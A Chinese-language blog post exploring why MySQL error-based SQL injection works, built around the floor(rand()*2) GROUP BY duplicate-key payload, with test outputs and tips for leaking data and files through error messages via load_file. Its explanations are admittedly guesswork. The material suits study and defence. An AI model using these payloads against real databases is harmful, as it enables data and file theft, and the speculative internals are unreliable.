1. 程式人生 > >Mysql 報錯注入的原理探索

Mysql 報錯注入的原理探索

我們一般使用的報錯語句:


1
select count(*),concat((select version()),floor(rand()*2))a from information_schema.tables group by a;
concat:為聚合函式,連線字串功能
floor:取float的整數值
rand:取0~1之間隨機浮點值,長度測試大概為16-19的樣子,官方手冊也沒說明 :P
group by:為聚合函式,根據一個或多個列對結果集進行分組並有排序功能
a為as a 別名的簡寫方式
floor(rand()*2) rand為0~1,rand()*2為0~2,那麼整個語句就是取0,1,2三個數字,rand()為1的機率可以忽律不計,所以是 0,1兩個隨機數
理解了裡面幾個函式的意思,我們開始測試它是怎麼報錯的~
測試一:


1
2
3
4
5
6
7
8
9
10
11
mysql> select count(*),concat((select version()),floor(rand()*2))a from information_schema.tables group by a;
ERROR 1062 (23000): Duplicate entry '5.1.73-log0' for key 'group_key'
 
mysql> select count(*),concat((select version()),floor(rand()*2))a from information_schema.tables group by a;
+----------+-------------+
| count(*) | a           |
+----------+-------------+
|       46 | 5.1.73-log0 |
|       50 | 5.1.73-log1 |
+----------+-------------+
2 rows in set (0.00 sec)
當測原語句時出現了報錯情況和正常情況,why?再看測試二
測試二:


1
mysql> select count(*),concat((select version()),floor(rand()*2))a from information_schema.tables group by concat((select version()),floor(rand()*2));
這次group by 不使用別名a,重新生成隨機數
正常情況時會有幾種結果分別是


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
+----------+-------------+
| count(*) | a           |
+----------+-------------+
|       51 | 5.1.73-log1 |
|       45 | 5.1.73-log1 |
+----------+-------------+
 
+----------+-------------+
| count(*) | a           |
+----------+-------------+
|       45 | 5.1.73-log0 |
|       51 | 5.1.73-log0 |
+----------+-------------+
 
+----------+-------------+
| count(*) | a           |
+----------+-------------+
|       45 | 5.1.73-log0 |
|       51 | 5.1.73-log1 |
+----------+-------------+
對比發現多出兩組正常返回值,並且a列都是相同值,為什麼測試不會顯示?
推測當a列為相同值的時候產生了報錯,sf0l大牛又問why,why只返回兩條資料,why count(*)為96條,卻返回和為96的兩組數字?


先解釋為什麼會只返回兩條資料與返回為和為96的兩組數字?
group by concat((select version()),floor(rand()*2)) 會隨機產生兩組值為5.1.73-log0,5.1.73-log0,information_schema.tables 表中為96條資料,select concat((select version()),floor(rand()*2)) 會產生兩種總和為96的結果,結果集根據group by 的值進行分組並且進行排序,so~
其實正常結果為4種情況,(0,0),(0,1),(1,0)(1,1),只是group by 把(0,1)(1,0)進行排序了


為什麼當相同值時報錯?
我們看下報錯語句:


1
ERROR 1062 (23000): Duplicate entry '5.1.73-log1' for key 'group_key'
翻譯:重複輸入值為“5.1.73-log1”的group_key 鍵
好吧我又來猜測 :)
有木有跟陣列?字典?等等資料型別屬性很像?key必須為唯一值,當group by 分組時使用字典進行統計,它後面的值作為鍵名,當生成兩個相同的隨機值時,由於key必須為唯一值,所以對這個key報錯了~


猜到這大牛還是不滿足~為毛會產生這個錯誤呢? T T 我已經被他的追根精神打敗了,好吧繼續~
既然已經猜到是group by 的問題那麼我們就可以精簡語句了


1
2
mysql> select count(*) from information_schema.tables group by concat((select version()),floor(rand()*2));
ERROR 1062 (23000): Duplicate entry '5.1.73-log1' for key 'group_key'
這樣正常報錯
但是當這樣去掉count(*)


1
mysql> select 1 from information_schema.tables group by concat((select version()),floor(rand()*2));
不行了~所有的返回都是正常,只有加上count(*)才能進行報錯..count()和group by啥關係?
一番測試發現,只要是聚合函式都可以報錯,像max(),min(),sum(),avg()這些都可以
那為毛必須需要它們?接著猜~
group by 應該會根據語句的不同過載不同的方法
(1)無其他聚合函式時,不會生成字典,只對指定欄位進行分組
(2)有其他聚合函式時,根據指定欄位生成字典,進行其他聚合函式計算,即使其他聚合函式沒有使用該分組資料


這個結論終於讓大牛心滿意足~~~~


好了總結下:
1.報錯機率是多少?
我們現在已經知道什麼情況才會報錯,也就是當隨機數為相同值時,那麼為相同值概率有多大?
floor(rand()*2) 產生兩個值 (0,1),結果為兩組,相同值概率C2,1/A2,2=2/4
同理(0,1,2)兩個相同值概率為2/3
。。。
floor(rand()*3)隨機種子為(0,1,2),為什麼是*3,數學問題自己想~~~類推
所以隨機種子越多報錯機率越大(資料數>隨機種子數)


還有一種方法就是隨機數寫成rand(0)這樣,把rand函式的隨機種子初始化為定值,測試發現這種方法可以百分百報錯,唯一沒有弄懂這種方式為什麼可以。如果大牛們知道,請告知,謝謝!


2.group by報錯注入顯示64位,所以讀檔案需要substring(hex(load_file(‘file’)),0,64)依次讀取
updatexml 為31位
extractvalue 為32位


3.精簡化


1
select max(0) from user group by concat((select version()),floor(rand(0)*2));
好了,over


參考:


http://dev.mysql.com/doc/refman/5.1/zh/functions.html


http://www.cnblogs.com/rainman/archive/2013/05/01/3053703.html


http://stackoverflow.com/questions/11787558/sql-injection-attack-what-does-this-do